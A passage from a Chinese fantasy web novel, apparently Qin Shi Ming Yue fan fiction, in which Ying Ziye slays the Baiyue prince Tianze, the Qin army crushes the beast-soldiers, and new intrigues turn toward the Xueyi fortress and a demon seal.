“这天下,谁还能挡我?!”
……
葬蛇谷的战局因兽化大军的突然加入,而瞬间逆转!
秦军虽拼死抵抗,阵线却仍在那些不知疼痛,不畏死亡的怪物冲击下不断后缩,伤亡惨重。
王离双目赤红,**狂舞,挑飞一名扑来的鳞甲怪物。
却被另一名喷吐毒液的怪物逼得连连后退!
猩红的披风已被腐蚀出几个破洞!
王贲在楼船上心急如焚。
水师**箭虽能造成杀伤,却难以精准打击混战在一起的敌我双方。
谷内局势急转直下!
百战穿甲兵原本无坚不摧的盾阵,开始出现裂隙,盾阵再难合拢!
“稳住!稳住!”
王离怒吼着,拼命稳住阵脚,可再整齐的号令,也被无穷无尽的混乱嘶吼淹没!
火光映照下,秦军本该铁壁般的方阵,硬生生被撕出一个又一个窟窿!
谷口浓烟滚滚,火焰与血腥交织,映照得整片山谷仿佛化作地狱修罗场!
百战穿甲兵虽仍在拼命反击,可他们脸上的冷峻已经开始动摇。
即便是大秦的最强铁流,在这群悍不畏死,力量诡异的怪物面前,也第一次显得…力有未逮!
就在这千钧一发之际——
“嗡——!”
一股浩瀚如渊,威严如狱的恐怖威压,如同九天银河倾泻,骤然笼罩了整个葬蛇谷!!!
在这股威压之下,连那些疯狂嗜血的兽化兵都不由自主地动作一滞,发出不安的低吼!
一道璀璨夺目的金色光柱从天而降,如同神罚,精准无比地轰入兽化兵最密集的区域!!
“轰隆!!!”
地动山摇!
金光爆散!
数十名兽化兵连惨叫都来不及发出,便在至阳至刚的帝王之力下瞬间汽化湮灭,连渣滓都未曾留下!
原地只留下一个巨大的焦黑坑洞!
金光散去,赢子夜一袭玄衣,负手立于坑洞边缘。
黑发无风自动,周身缭绕着淡淡的金色光晕,如同天帝临凡!!!
他目光冰冷,扫过那一片狼藉,怪物横行的战场,最终定格在远处崖壁上看戏的天泽身上。
“天泽。”
赢子夜的声音并不高昂,却清晰地压过了战场的所有喧嚣,带着绝对的冰冷和杀意!
“你的把戏,该结束了。”
与此同时!
数百道如同鬼魅般的黑影悄无声息地出现在战场侧翼,如同最锋利的尖刀,精准地切入兽化大军的侧肋!
正是赵弋苍率领的暗河精锐及时赶到!!!
他们不与力大无穷的兽化兵硬拼,而是发挥暗河最擅长的诡谲手段——
**、暗器、钢丝绊索、精神干扰……
专攻兽化兵的关节、眼睛!
以及那明显不稳定的精神!
瞬间,遏制住了兽化兵狂猛的攻势,为正面秦军赢得了喘息之机!
“赢子夜!你终于来了!”
崖壁上的天泽先是一惊,随即脸上涌现出极致的兴奋和怨毒!
他等待这一刻太久了!
周身黑红色的邪异能量轰然爆发,将他托起,如同炮弹般射向赢子夜所在之地!!!
“来得好!今日便让你成为我新力量下的第一个亡魂!”
天泽狂笑着,双手成爪,带着撕裂一切的污秽能量,直扑赢子夜面门!
赢子夜眼神冰冷,毫不退避,并指如剑,璀璨的金色剑芒迎了上去!
“铛——!!!”
如同洪钟大
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吕般的巨响震彻山谷!
金黑两色能量疯狂对撞、湮灭,产生的冲击波将周围数十丈内的所有士卒和怪物都狠狠掀飞出去!
帝王正道对阵邪兽噬灵!
两大强者瞬间战作一团!
速度快得只剩下一金一黑两道模糊的光影!!!
所过之处,山石崩裂,大地焦黑!
每一次碰撞都爆发出毁灭性的能量风暴!
另一边,少司命紫影飘忽,万千青叶化作夺命风暴,瞬间将试图偷袭赢子夜侧翼的十余名兽化兵绞成碎片!
她紫眸锁定了一道妖娆的火影——
焰灵姬!
“哼!手下败将,还敢来碍事!”
焰灵姬冷哼一声,手中火焰长鞭如同毒蛇般抽出,带着地心火精的灼热力量!
少司命根本不答,玉指轻拂,无数青叶汇聚成一面坚不可摧的盾牌,挡住火鞭。
同时另一只手一挥,更多锋锐的叶片如同暴雨般射向焰灵姬!
两女瞬间激战在一起,火焰与青叶疯狂碰撞,**声不绝于耳!
赵弋苍则对上了如同鬼魅般穿梭战场,不断以幻术和精神攻击干扰暗河和秦军的魅姬!
“藏头露尾的妖女!受死!”
赵弋苍怒吼一声,军中煞气爆发,一定程度上抵御了精神侵蚀,手中战刀带着破邪的罡气,狠狠斩向魅姬藏身的阴影!
魅姬发出一串银铃般却冰冷无比的笑声,身影如同烟雾般散开,躲过刀罡。
无数虚幻的魅影同时扑向赵弋苍和周围的暗河**!
“咯咯咯……好凶的将军,来陪姐姐玩玩嘛~”
暗河精锐则与天泽麾下残存的,未被完全兽化的百越高手以及部分较为强大的兽化兵厮杀在一起。
暗河手段狠辣诡谲。
擅长合击与暗杀。
往往能以弱胜强,一时间竟与那些怪物打得难解难分!!
整个葬蛇谷战场,因赢子夜和暗河的加入,瞬间分成了数个高端战团!
核心处,是赢子夜与天泽那如同神魔般的惊天对决,能量对撞的余波都足以致命!!
一侧是少司命与焰灵姬的火焰与青叶之舞,绚丽而致命!
另一侧是赵弋苍刚猛刀法对战魅姬诡异幻术,煞气与魅影交织!
更外围,则是暗河**与兽化怪物、百越高手的血腥混战!
秦军压力大减。
在王离、王贲的指挥下,重新稳住阵脚,开始配合暗河,步步为营。
清剿那些失去统一指挥,开始陷入各自为战的兽化兵!
“稳住阵线!别追远,逐步推进!”
王贲沉声喝令,声音压过了鼓噪与惨叫。
“换后排!伤兵下去,顶上新的!”
王离满脸血污,依旧咆哮着调度,“戳准他们的关节,不要给他们起身的机会!”
一名披着残破甲胄的百战兵喘着粗气,狠狠捅死脚下仍在挣扎的怪物,抬头咬牙喊道:
“将军!这些孽障,终于不像方才那样疯了!”
“哼,没有主子的鞭子驱使,不过是群乱咬的野狗!”
王离**横扫,挑飞一头蝠翼怪物,冷声喝道,“秦军儿郎,给我杀个干净!”
“杀——!”
秦军军阵中,随着号令再起,士卒们重新咬牙吼出震天的杀声!
杀意如火,逐寸压迫,将兽化兵的残余一点点……
逼入血泥!!
第238章 形神俱灭!
葬蛇谷中心。
已彻底化为赢子夜与天泽的战场。
两人交手产生的能量风暴如同实质,将周围清出一片巨大的真空地带,无人敢靠近分毫!
此刻的天泽,已然将吞噬其父狰所得的力量与自身地心火精,邪蛊秘法彻底融合,催动到了极致!
他周身黑红色的能量如同沸腾的岩浆般翻滚咆哮!
皮肤表面浮现出诡异的兽化鳞甲纹路!
双眼一只赤红如血,一只幽暗如深渊,散发着令人灵魂战栗的邪异气息!!!
他的速度快得如同鬼魅,力量更是大得惊人!
每一次爪击都带着撕裂空间的尖啸和腐蚀一切的污秽能量!
“赢子夜!感受这超越凡俗的力量吧!”
天泽狂笑着,双臂猛地膨胀,化为覆盖着骨刺的狰狞兽爪,交叉撕扯而来!
所过之处,连空气都被染成墨绿色,发出“滋滋”的腐蚀声!
“万兽噬魂爪!”
赢子夜眼神冰冷,周身帝王金芒暴涨!!
不闪不避,右手握拳,拳锋之上凝聚出璀璨的龙形虚影,一拳轰出!!
“天帝拳·升龙!”
“轰——!!!”
拳爪再次对撞!
这一次,赢子夜竟被那狂暴无比的力量震得微微后退半步!
脚下地面轰然炸裂!
“哈哈哈!如何?!”
天泽见状,攻势更狂,张口喷出一道混合着毒火与音波的精神冲击!
“毒火啸魂波!”
无形的音波直攻神魂,灼热的毒火焚烧肉身!
赢子夜眉头微蹙,脑后浮现一圈清圣光轮,护体神光自行激发,将音波毒火尽数挡在三尺之外!!
涟漪翻滚,却未能寸进!
“邪魔外道,徒有其表!”
赢子夜冷叱一声,并指如剑,指尖吞吐着凝练到极致的破邪金芒,瞬间点出数十指!
“天帝剑指·诛邪!”
指风如雨!
精准无比地点向天泽周身能量运行的节点和那新生的鳞甲薄弱之处!
天泽嘶吼着,兽爪狂舞格挡,身上鳞甲爆起团团黑红色的火花,竟将大部分指力挡下!
但依旧有数道指力穿透防御,在他身上留下几个焦黑的指洞,黑血直流!
“没用的!本王现在是不死之身!”
天泽咆哮,伤口处的血肉竟如同活物般蠕动,快速愈合!
他猛地跺地,大地裂开,无数由污血和毒虫组成的触手缠向赢子夜双脚!
同时他本人则化作一道残影,从上方再次扑下!
攻势连绵不绝,诡异狠毒!
赢子夜身形微晃,如同瞬移般脱离触手纠缠。
面对从天而降的天泽,他深吸一口气,身后那尊庞大的金甲威龙巨兵法相再次显现!
但这一次,法相六臂并未分开攻击,而是六臂合一,共同握住了一柄由无尽帝王意志和破邪金光凝聚而成的圣剑!!!
“到此为止了。”
赢子夜的声音如同九天律令,带着最终的审判意味!
他双手虚握,与身后法相同步,挥动那柄仿佛能开天辟地的金色圣剑!
“一剑…隔世!!!”
没有浩大的声势,没有刺耳的尖啸,只有一道细微却凝练到极致的金色细线,无声无息地掠过空间!!
天泽脸上狂傲的笑容瞬间凝固!
他疯狂催动所有力量,黑红能量如实质般凝结成厚盾!
然而——
“嚓!”
一声轻响,如同热刀切过牛油!
那坚固无比的邪能护盾,连同天泽交叉格挡在前的狰狞兽臂,以及他胸前那刚刚凝聚成形的本源兽核……
被那金色细线毫无阻碍地,一分为二!!
时间仿佛静止了一瞬!
天泽低头,看着自己胸前那道迅速蔓延开的金色裂痕,感受着体内奔腾的力量疯狂流逝!
“不…不可能……”
他声音干涩沙哑,眼神崩溃,“我吸收了父王…我练成了禁术…我拥有了这般力量!”
“怎么会…还是……”
还是败了!
而且败得如此彻底!!
金色的火焰从他体内的裂痕中迸发,疯狂灼烧着他的邪躯和灵魂!
“啊——!!!”
天泽发出了痛苦而不甘的凄厉惨嚎,身体坠落,重重砸在地面!
黑红色的邪气溃散,气息瞬间萎靡!
他付出了一切,弑父、修邪、化身为怪……
最终,却依旧不是这个男人的……
一合之敌!
……
葬蛇谷一侧。
少司命与焰灵姬的战斗也已进入白热化。
焰灵姬舞动火焰长鞭,地心火精之力汹涌澎湃!
每一次鞭挞都带着焚尽八荒的炽热!
少司命周身万千青叶流转,时而坚
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盾,时而风暴!
两女交锋,火焰与青叶炸裂!
另一边,赵弋苍刀法刚猛霸道,死死缠住魅姬。
暗河**环伺,合击阵法、**暗器不断!!
魅姬幻术屡次被破,银铃笑声中带着一丝气急败坏!
正此时,不远处传来了天泽那充满痛苦和不甘的凄厉惨嚎!
两女骇然望去,正看到天泽被赢子夜一剑重创,邪气溃散,坠落尘埃的景象!!
“天泽!”焰灵姬花容失色!
魅姬更是眼中充满了恐惧和绝望!
重伤萎靡的天泽,看到麾下两员大将也是一败涂地,眼中闪过极致疯狂和狠毒!
“废物!都是废物!”
他猛地抬起还能动的左手,对准了倒地的魅姬和不远处的焰灵姬!
“噬魂蛊煞·夺灵!”
恐怖的吸力爆发!
“不!君上!不要!!!”
魅姬惨叫着,被疯狂抽干精气与灵魂,顷刻化为干尸!
焰灵姬又惊又怒,拼命催动火精抵抗,却在重伤之下难以抗衡,脸色瞬间苍白!
“能为本王尽最后一份力,是你们的荣耀!”
天泽狞笑,贪婪地伸向焰灵姬!
“邪魔!尔敢!!!”
一声冰冷怒喝如同九天惊雷炸响!
赢子夜瞬息而至,袖拂之间将焰灵姬推开,剑芒斩断了那无形吸力!
“噗!”
天泽遭到反噬,又喷出一口黑血!
“冥顽不灵,自取灭亡!”
赢子夜眼神冷冽,法相六臂全开!
圣剑燃烧金焰!
长戟裹挟雷霆!
镇魂巨钟震荡!
龙首巨盾守护!
万象天书星辉流转!
混沌世界悬于掌中!
“六道轮回镇孽杀!”
金光冲霄,帝威盖世!!
天泽拼死燃烧残存本源,邪气化作百首凶兽虚影,嘶吼扑来!
然而——
金光所过,百首虚影瞬息消散!
圣剑斩首!雷戟洞心!镇魂碎魄!万书夺能!巨盾碾碎!混沌吞噬!
“不——!!!”
在天泽最后一声绝望尖啸中,他的身体与邪魂彻底化为飞灰!
为祸南疆的百越太子天泽,就此……
形神俱灭!!!
金光散去。
赢子夜飘然落地,玄衣无尘。
唯有那双黑眸,冷冽如万古寒渊。
第239章 神奇的脑回路!
天泽败亡的刹那。
那股笼罩在葬蛇谷上空,令人窒息的邪异威压如同潮水般骤然退去。
那些原本狂暴嗜血,不知疼痛为何物的兽化大军,仿佛被瞬间抽走了所有的力量核心和指挥意志,动作齐齐一滞。
它们猩红的眼中,疯狂之色迅速褪去。
取而代之的是一种茫然、混乱,以及……
本能的血腥和残暴。
但它们不再有统一的目标,不再有组织的进攻,而是如同无头的苍蝇,开始本能地嘶吼、互相撕咬!
甚至攻击身边一切活动的物体!
包括它们之前的“同伴”。
而更远处,那些原本就被秦军打得士气低迷,全靠天泽的邪术和兽化大军支撑的普通百越残兵。
亲眼目睹了天泽的灭亡和兽化大军的失控。
最后一丝抵抗意志也彻底崩溃。
“太子**!”
“太子**!”
“怪物!怪物发疯了!快跑啊!”
“败了!彻底败了!百越完了!”
绝望的哭喊声,惊恐的尖叫声瞬间取代了战鼓和喊杀,响彻整个葬蛇谷。
无数百越士兵丢盔弃甲。
如同没头的苍蝇般四处乱窜,只求远离那些发疯的怪物和如同死神般逼近的秦军。
“全军听令!”
王离的声音如同虎啸,瞬间压过了战场上的混乱!
他虽身上带伤,甲胄染血,但此刻眼神却亮得骇人,充满了胜利在望的兴奋和杀意!
“百越已溃!兽奴已疯!大秦的锐士们——”
他猛地将**指向那一片混乱的谷地,声音如同炸雷。
“碾碎它们!!!”
“风!风!风!大风!!!”
回应他的是山呼海啸般的怒吼。
所有秦军将士的士气在这一刻达到了顶点!
“百战穿甲兵!推进!”
王离一马当先,猩红披风扬起,如同红色的死神旗帜。
“轰!轰!轰!”
钢铁方阵再次启动。
这一次,不再是稳扎稳打的推进,而是彻底的、狂暴的碾压。
巨盾不再仅仅防御,而是成了撞击碾压的凶器!
长矛不再等待,而是如同**出海,疯狂收割着眼前一切混乱的敌人。
那些失控的兽化兵虽然个体依旧凶悍。
但在失去组织和统一指挥后,根本无法抵挡这钢铁洪流般的集体推进。
刚撞开一面盾牌,便被后方递来的战斧砍翻在地,被侧面刺来的数根长矛洞穿!
王贲在楼船上,冷静地指挥着水师。
“**箭延伸!覆盖谷地后方,阻断所有退路!!”
“火箭准备,焚烧一切残余营帐物资,不给它们任何喘息之机!”
更密集的**箭如同死亡的乌云,越过冲锋的秦军头顶,狠狠砸在那些试图向后逃窜的百越败兵和兽化兵群中,瞬间清空一大片。
两侧高崖上。
**骑和重步兵也开始了最后的收割。
箭矢精准点杀着任何试图组织抵抗的军官,礌石滚木则将成群的敌人砸成肉泥。
暗河精锐们则如同战场上的幽灵,专门针对那些实力较强,还在负隅顽抗的兽化兵和百越高手进行定点清除。
整个葬蛇谷,彻底变成了一场单方面的**和清剿!
秦军如同一台精密而高效的战争机器。
冷酷而有条不紊地碾过每一寸土地。
将所有的抵抗和混乱都彻底粉碎、踏平!
帝国的黑龙旗在火光与硝烟中猎猎作响,所向披靡。
百越最后的有生力量,在这绝对的武力碾压和磅礴气势之下,如同烈日下的冰雪,迅速消融,走向最终无可挽回的灭亡。
南疆的战事,至此,已然尘埃落定!
唯有无尽的肃杀和胜利的号角,在山谷间回荡。
……
半个时辰后。
葬蛇谷内的厮杀声渐渐平息。
硝烟与血腥味混杂的空气依旧浓稠。
秦军正在王离、王贲的指挥下进行最后的清剿扫尾,胜利的号角已然吹响。
赢子夜玄衣独立于一片相对干净的坡地上。
俯瞰着下方如同炼狱却又尽在掌握的战场,黑眸中无悲无喜,唯有帝王般的冷漠。
天泽伏诛。
百越最后的主力灰飞烟灭。
南疆大局已定。
这时,一阵轻微的脚步声自身后传来。
赢子夜并未回头,已知来人是谁。
少司命无声地走到他身侧,紫纱微拂,清冷的气息驱散了些许空气中的污浊。
然而,赢子夜很快察觉到一丝异样。
他微微侧首,目光越过少司命,落在了她身后稍远一些的地方。
只见焰灵姬竟也站在那里!
她肋下的伤口似乎被简单的处理过,不再流血,但脸色依旧苍白。
原本妖娆动人的面容上此刻充满了复杂难明的情绪——
有败北的**,有对天泽狠毒的惊惧,有劫后余生的恍惚……
更多的是面对赢子夜和少司命时的警惕和不安。
她微微低着头,那双曾经媚意横生的眸子,此刻却不敢直视赢子夜。
赢子夜眉头微蹙,看向少司命,眼中带着明显的询问。
依照常理,此女作为天泽核心党羽,顽抗到底,即便不就地格杀,也应囚禁待审。
夫人将她带来是何意?
少司命感受到赢子夜的目光,抬起清
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冷的紫眸,与他对视,然后用一种平静无波的语气,说出了石破天惊的话。
“夫君,此女性情虽妖,但修为尚可,姿色…也还入眼。”
“杀了未免可惜。”
赢子夜:“???”
他一时竟没反应过来。
少司命继续淡淡道,语气甚至带着一丝理所当然。
“不如带回去,予夫君做个妾室。”
“日后端茶递水,铺床叠被,亦可侍奉左右。”
空气仿佛凝固了。
赢子夜罕见地愣在了原地。
饶是他心智如妖,算无遗策,此刻也被自家夫人这清奇无比的脑回路给震得一时失语!
他看了看一脸认真,仿佛在献上什么合适礼物的少司命。
又看了看不远处那个同样目瞪口呆,脸颊甚至莫名浮起一丝红晕,也不知是羞是气的焰灵姬。
杀了可惜?
带回去做妾?
这……这是怎么从你那清冷的小脑袋瓜里冒出来的想法?
赢子夜张了张嘴,竟一时不知该如何接话。
他揉了揉眉心,语气带着一丝难得的无奈和啼笑皆非。
“夫人……你可知她是什么人?”
“此女乃是逆首天泽的心腹,百越妖女,屡次与吾等为敌……”
“正因如此,才不能轻易让她**。”
少司命逻辑清晰,打断了他的话。
紫眸中甚至闪过一丝极淡的,类似于“夫君你怎么不明白”的意味。
“杀了她,不过是给她个痛快,太便宜她了。”
她顿了顿,目光扫过焰灵姬那窈窕却狼狈的身姿,继续用她那特有的,气**的平静语调说道。
“让她活着,让她放下身段,伺候曾经击败她,她不得不仰望的夫君……”
“对她而言,岂不是比死更难受的惩罚?”
“况且,她控火之术尚可,稍加管教,或也能为夫君麾下添一助力,物尽其用。”
赢子夜:“……”
他看着自家夫人那副“我都是为了你好,而且我想得很周到”的清冷模样。
再听听那番“物尽其用”、“比死更难受”的言论,不禁扶额长叹!!
这女人的心思……
当真是海底针!
不!
是九幽寒冰下的针!!
让人完全捉摸不透!
他再次将目光投向焰灵姬。
此刻那妖女的表情更是精彩纷呈,青一阵白一阵。
显然也被少司命这匪夷所思的“处置”方式给惊得三观尽碎,羞愤欲死。
却又因伤势和形势,敢怒不敢言。
赢子夜忽然觉得,这场面,比起刚才和天泽的大战,似乎……
还要棘手那么一点。
第240章 雪衣堡!
临时帅帐之内。
烛火通明,将赢子夜的身影投在帐壁之上,拉得悠长而威严。
王贲、王离、蒙毅、钟离昧、樊哙、周勃、赵弋苍等一众将领肃立帐下。
虽人人面带疲惫,甲胄未解,却个个眼神锐利,精神亢奋!
空气中弥漫着胜利后的肃杀与即将迎来新任务的凝重。
赢子夜端坐于主位,指尖轻轻敲击着铺在案几上的南疆地图,黑眸扫过帐下诸将,声音平稳却带着不容置疑的决断力。
“天泽伏诛,百越主力尽丧,然南疆广袤,山林密布,疠瘴横行,非一战可定乾坤。”
他目光首先看向蒙毅。
“蒙将军。”
“末将在!”蒙毅踏前一步,抱拳躬身。
“着你率本部兵马,并节制南疆各郡县兵,继续清剿百越残余叛乱。”
“凡有冥顽不灵,负隅顽抗者,无论部落大小,皆以雷霆手段剿灭,夷其宗祠,绝其苗裔!!!”
“本公子要这南疆,再无成建制的反抗之力!”
“末将遵命!定不负公子重托!”蒙毅声音铿锵,杀气凛然。
赢子夜微微颔首,目光转向王贲和王离。
“王贲、王离。”
“末将在!”王贲、王离同时应声。
“百越新定,首重安抚,亦重掌控。”
“着你二人麾下文书官吏,配合丞相府即将派来的干员,即刻开始,将所有归降部落、城池的人口、户籍、土地、物产,详细登记造册,不得有误!”
“此乃日后治理、征税、征兵之基,务必详尽扎实!”
“末将明白!”
王贲沉稳领命,王离也收敛了战场上的狂傲,郑重应下。
赢子夜的手指在地图上划过百越的山川河流。
“此外,南疆地貌复杂,多为中原所不熟。”
“需组织精通堪舆,绘图之士,并派遣精锐小队护卫,深入山林大泽,详细绘制百越山川地貌、水文气候、道路险隘之图!”
“每一座山,每一条河,每一处瘴疠之地,都要清晰标注!”
“此图,将来于我大秦经略南疆,乃至用兵他处,皆至关重要!”
“末将立刻去办!”
王离主动请缨,对此事显得极为上心。
赢子夜继续道。
“百越之地,交通不便,讯息难通,此乃治理之大患。”
“传令公输仇,让他抽调精通水利工程的弟子,勘探地形,规划路线,着手修建连通各主要城池、要塞及通往中原的渠道与官道!”
“遇山开山,遇水架桥!!”
“本公子要让帝国的政令和兵马,能畅通无阻地抵达南疆每一个角落!!”
“诺!”
诸将齐声应道,仿佛已看到一条条帝国的血脉在这片新土地上延伸的场景。
最后,赢子夜的神色微微凝重了几分。
“还有一事。赵弋苍。”
“卑职在!”赵弋苍上前。
“关于那‘九魔封印’之地,继续加派人手暗中查访。”
“记住,只探查,记录,绝不可靠近,更不可触碰任何疑似封印之物!”
“一有线索,立刻加密传讯于我,不得擅自行动!”
“此事,关乎重大,若有差池,提头来见!!”
“卑职以性命担保!绝不出错!”
赵弋苍感受到赢子夜语气中的凝重,重重抱拳。
将南疆事宜一一安排妥当,赢子夜缓缓站起身,目光仿佛穿透帅帐,望向了北方。
“南疆之事,便交由诸位了。”
“之后,我会请兄长前来坐镇。”
“望诸位精诚协作,稳扎稳打,勿负帝国厚望。”
诸将轰然应诺。
“臣等定竭尽全力,稳固南疆,报效帝国,不负公子重托!”
赢子夜颔首,语气转为淡然却不容置疑。
“此间事了,本公子明日便动身,前往颍川郡。”
众将闻言,皆是一怔。
王离忍不住道:“公子,百越初定,诸多事宜……”
赢子夜抬手打断了他,眼中闪过一丝冷光。
“南疆之局已定,况且兄长还在,他们翻不起大浪。”
“但韩旧地那边,有人借着苍龙七宿的由头,掀风作浪,甚至敢嫁祸于本公子……”
“我得亲自去会一会他们。”
帐内瞬间安静下来。
所有人都感受到了赢子夜话语中那冰冷的杀意。
“诸君,各司其职吧。”
说完,赢子夜不再多言,转身走向内帐。
玄衣拂动间,已将南疆**山河置于身后。
他的目光,已然投向了另一片暗流汹涌的战场。
……
夜色深沉。
南疆大营的喧嚣逐渐平息,唯余巡逻士卒的脚步声和远处山林的风声。
一处偏僻却守卫森严的营帐内,焰灵姬独自坐在床榻边。
原本妖娆魅惑的脸庞此刻显得有些苍白和沉寂。
她身上那袭紫衫破损处已被简单缝合。
肋下的伤口也不再渗血。
但一种无形的,禁锢着她周身力量的禁制,却让她如同被拔去了利爪的凤凰,失去了往日的所有锋芒。
帐帘被无声掀起。
赢子夜与少司命一前一后走了进来。
焰灵姬身体微微一僵,抬起头,目光复杂地看向两人,尤其是赢子夜。
败军之将,阶下之囚。
更是被对方夫人提出了那般羞辱性的“处置”方案。
她此刻心中五味杂陈,羞愤、不甘、无奈,甚至还有一丝连她自己都未曾察觉的茫然。
少司命紫眸清冷,只是静静立于一旁,仿佛一切与她无关。
赢子夜目光平静地扫过焰灵姬,并未多言,只是从袖中取出一个白玉小瓶,屈指一弹,瓶子便轻飘飘地落在焰灵姬身前的矮桌上。
“内服,运功化开,三日之内,伤势可愈。”
他的声音平淡无波,听不出任何情绪,仿佛只是处理一件微不足道的杂物。
焰灵姬愣了一下,看着那玉瓶,又难以置信地看向赢子夜。
她没想到。
对方不仅没杀她,反而给她疗伤圣药?
紧接着,赢子夜又取出一个小布袋。
袋口微开,里面赫然是数颗龙眼大小,赤光流转,蕴含着精纯火灵之力的火雨玛瑙!
那浓郁的火灵气息,让焰灵姬体内的地心火精都微微躁动起来!!
“这些,也予你恢复实力。”
赢子夜将布袋也放在桌上。
“明日,随本公子前往韩旧地。”
焰灵姬彻底怔住了。
疗伤药或许还能理解为控制手段。
但这珍贵无比
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,足以让天下火修打破头的火雨玛瑙……
他竟然就这么随手给了自己?
还要带自己去韩地?
她下意识地看向少司命,却见对方依旧那副清冷模样,仿佛眼前一切理所当然。
“为什么?”
焰灵姬终于忍不住开口,声音因久未说话而有些沙哑。
“你就不怕我恢复实力后反噬?或者趁机逃走?”
赢子夜闻言,嘴角勾起一抹极淡的,近乎嘲讽的弧度。
“你可以试试。”
他甚至没有解释那禁制的威力,也没有威胁。
但那平淡语气中蕴含的绝对自信!
却比任何威胁都更令人窒息!!
少司命此时终于淡淡开口,补了一句。
“你若异动,我会亲手收回给你的一切。”
语气依旧平静,却让焰灵姬后背莫名一寒,想起了对方用玛瑙砸人时的疯狂!
她沉默了。
看着桌上的玉瓶和玛瑙,又看看眼前这对完全无法用常理揣度的夫妻。
最终,心中那点不甘和侥幸彻底消散。
她默默拿起玉瓶,拔开塞子,将其中一枚清香扑鼻的丹药服下,然后开始运功化开药力。
赢子夜并不催促,只是负手而立,静静等待着。
约莫一炷香后,焰灵姬苍白的脸色恢复了些许红润!
她深吸一口气,看向赢子夜,眼神复杂却不再犹豫。
“公子欲往韩地,可是为了…苍龙七宿的宝盒?”
赢子夜黑眸微动。
“你知道些什么?”
焰灵姬咬了咬唇,似乎下定了决心。
“若我所料不差,韩王室明面上那个宝盒,恐怕早已是空壳,甚至被调换了。”
“哦?”赢子夜来了兴趣。
“何以见得?”
“因为……”
焰灵姬眼中闪过一丝深刻的恨意和恐惧。
“我曾被血衣侯白亦非冰封囚禁多年!”
“就在他的雪衣堡深处!”
“我曾无意间看到过…他密室之中,藏有一个样式古旧,气息非凡的青铜盒,与传闻中的宝盒极为相似!”
“以白亦非的野心和手段,他绝对做得出来偷梁换柱之事!”
她抬起头,看向赢子夜。
“若真有一个宝盒最可能在韩地何处,那绝非韩王宫,而是白亦非那早已废弃的故地!”
“雪衣堡!”
赢子夜眼中精光一闪!
血衣侯白亦非!
这个名字他并不陌生。
韩国夜幕的巨头,一个早已该消失在历史尘埃中的人物,没想到竟还可能与宝盒有此牵扯!
“雪衣堡……”
赢子夜沉吟片刻,随即毫不犹豫,对着帐外阴影处淡淡道。
“传令暗河,即刻抽调精锐,先行潜入颍川郡,目标——雪衣堡遗址!”
“严密监控,探查所有关于青铜宝盒的线索,但未有本公子之命令,不得轻举妄动!”
“诺!”
阴影中传来一声低沉的回应,随即气息迅速远去。
赢子夜看向焰灵姬,目光深邃。
“希望你的消息,有价值。”
焰灵姬迎着他的目光,深吸一口气。
“我会带你们找到那里。”
为了摆脱那冰封的梦魇。
也为了…眼前这难以预测的一线生机。
第241章 谁才是幕后真正的执棋者!
颍川郡,韩旧地。
夜色下的荒废官道旁,一处早已破败的驿站着火冲天,激烈的打斗声与能量碰撞声不绝于耳。
数名身着仿制暗河服饰,手法却更显阴毒诡谲的**,正且战且退!
他们的攻击狠辣刁钻,专门针对灵魂与经脉,与真正的暗河风格似是而非,却足以以假乱真。
他们巧妙地引导着战局,将追击者引向预设的方向。
后方。
月神裙摆摇曳,周身星辉流转,轻易化解着袭来的诡异攻击,淡紫色的眼眸中却带着一丝冰冷的疑惑。
大司命双手血色骷髅盘旋,妖娆的脸上满是不耐与杀意!
每一次出手,都试图将那些“暗河”**撕碎,却被对方以一种近乎自残的遁术屡次避开。
“哼,藏头露尾,只会耍些鬼蜮伎俩!”
大司命一掌拍碎一道偷袭的精神冲击,冷声道:“月神大人,这些老鼠滑溜得很,不像暗河正路子,倒像是……”
“像是有意为之。”
月神声音空灵,指尖星芒闪烁,精准地定住一名试图遁入阴影的**。
那**身体一僵,随即七窍流血而亡!
尸体却迅速化为腥臭的黑水,不留半点痕迹。
“他们在拖延,在引诱。”
……
而远处,一片浓密的枯木林中。
几道如同融入阴影本身的身影静静矗立,正是掩日与六剑奴。
他们冷漠地注视着远处那场精心设计的“表演”。
“大人,鱼儿已上钩。”
“阴阳家的月神和大司命已被暂时牵制在此。”
乱神的声音带着一丝沙哑的兴奋,如同毒蛇吐信。
掩日戴着玄铁面具,看不出表情,唯有那双透过面具孔洞的眼睛,冰冷幽深,毫无波澜。
他缓缓开口,声音低沉而漠然。
“做得不错,可以让他们撤退了。”
“撤退?”
魍魉少年心性,有些不解地**着手中的双剑。
“不再玩玩了吗?我看阴阳家那两个女人手段不错,正好试试新练的合击。”
“我们的目标,从来就不是和阴阳家分生死。”
掩日冷冷道:“更不是在这里和可能即将赶来的赢子夜硬碰硬。”
真刚沉声道:“大人的意思是?”
掩日的目光仿佛穿透了重重空间,望向了南方的夜空。
“赢子夜携大胜之威,其本人、暗河主力,乃至阴阳家高手,此刻注意力皆被吸引在此处韩旧地,或忙于清理百越残局。”
“此时的百越之地…必然空虚且松懈。”
断水那蒙着眼罩的脸微微一动,苍老的声音响起。
“声东击西?大人高明。”
“可是,”转魄清脆的声音带着疑问。
“主人最在意的,似乎是苍龙七宿的宝盒。”
“我们此刻离去,若宝盒被阴阳家或赢子夜先找到……”
“找到?”
掩日发出一声极其轻微、却充满嘲讽的冷笑。
“让他们去找便是!找得越辛苦越好。”
“等他们真找到了,费尽心力破解了,我们再出手拿走现成的,岂不省力?”
灭魂接口道,声音与她姐姐几乎一致。
“螳螂捕蝉,黄雀在后。”
“正是此理。”
掩日颔首:“宝盒之事,错综复杂,让他们先去探路。”
“而我们,有更重要的事情要做。”
他顿了顿,语气中带上了一丝罕见的凝重。
“赵高大人对百越之地那传说中的‘九魔封印’极为关注。”
“此前赢子夜大军压境,我们难以深入探查。”
“如今正是千载难逢的机会!”
他目光扫过六剑奴。
“立刻动身,前往百越!”
“我要知道那九个上古魔头究竟被封印在何处,封印状态如何!”
“这,或许才是真正能颠覆一切的力量!”
六剑奴闻言,眼中皆闪过嗜血与兴奋的光芒。
相比于虚无缥缈的宝盒,这种直接与毁灭力量相关的事务,更合他们的胃口。
“谨遵大人之命!”
六人齐声低语。
掩日最后看了一眼远处那依旧在纠缠的战团,嘴角勾起一抹冰冷的弧度,身形缓缓向后融入阴影之中。
“走吧!让阴阳家和那位六公子,在这里慢慢玩捉迷藏吧。”
下一刻,七道鬼魅般的身影如同从未出现过一般,悄无声息地消失在枯木林中,向着南方百越之地,疾驰而去。
……
数日后,雪衣堡。
这座曾经属于血衣侯白亦非的城堡,矗立在荒芜的山脊之上,通体由巨大的苍白石块砌成,风格阴冷尖锐。
